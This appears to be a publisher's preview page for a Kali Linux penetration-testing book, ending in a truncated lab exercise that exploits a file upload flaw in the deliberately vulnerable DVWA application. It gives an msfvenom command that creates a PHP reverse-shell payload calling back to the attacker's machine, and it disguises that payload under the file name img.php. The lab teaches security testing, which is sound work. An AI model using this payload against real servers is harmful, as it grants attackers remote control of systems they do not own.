Book Image

Learn Kali Linux 2019

By : Glen D. Singh
Book Image

Learn Kali Linux 2019

By: Glen D. Singh

Overview of this book

The current rise in hacking and security breaches makes it more important than ever to effectively pentest your environment, ensuring endpoint protection. This book will take you through the latest version of Kali Linux and help you use various tools and techniques to efficiently deal with crucial security aspects. Through real-world examples, you’ll understand how to set up a lab and later explore core penetration testing concepts. Throughout the course of this book, you’ll get up to speed with gathering sensitive information and even discover different vulnerability assessment tools bundled in Kali Linux 2019. In later chapters, you’ll gain insights into concepts such as social engineering, attacking wireless networks, exploitation of web applications and remote access connections to further build on your pentesting skills. You’ll also focus on techniques such as bypassing controls, attacking the end user and maintaining persistence access through social media. Finally, this pentesting book covers best practices for performing complex penetration testing techniques in a highly secured environment. By the end of this book, you’ll be able to use Kali Linux to detect vulnerabilities and secure your system by applying penetration testing techniques of varying complexity.
Table of Contents (22 chapters)
Free Chapter
1
Section 1: Kali Linux Basics
6
Section 2: Reconnaissance
9
Section 3: Vulnerability Assessment and Penetration Testing with Kali Linux 2019

Exploiting file upload vulnerabilities

In this exercise, we are going to use our OWASP BWA virtual machine to demonstrate a file upload vulnerability. Let's get started:

  1. First, create a payload on your Kali Linux (attacker) machine using msfvenom, which will later be uploaded to the target server. Using the following syntax, create a PHP-based payload for establishing a reverse connection:
msfvenom -p php/meterpreter/reverse_tcp lhost=<IP address of Kali Linux> lport=4444 -f raw
  1. Copy the highlighted code, open a text editor, and save the file as img.php:
  1. Using your web browser within Kali Linux, enter the IP address of OWASP BWA in the address bar and hit Enter.
  2. On the main page, click on Damn Vulnerable Web Application:
  1. The DVWA login portal will appear. Log in with admin/admin as Username/Password:
  1. Once logged in, you'll see a menu on the left-hand...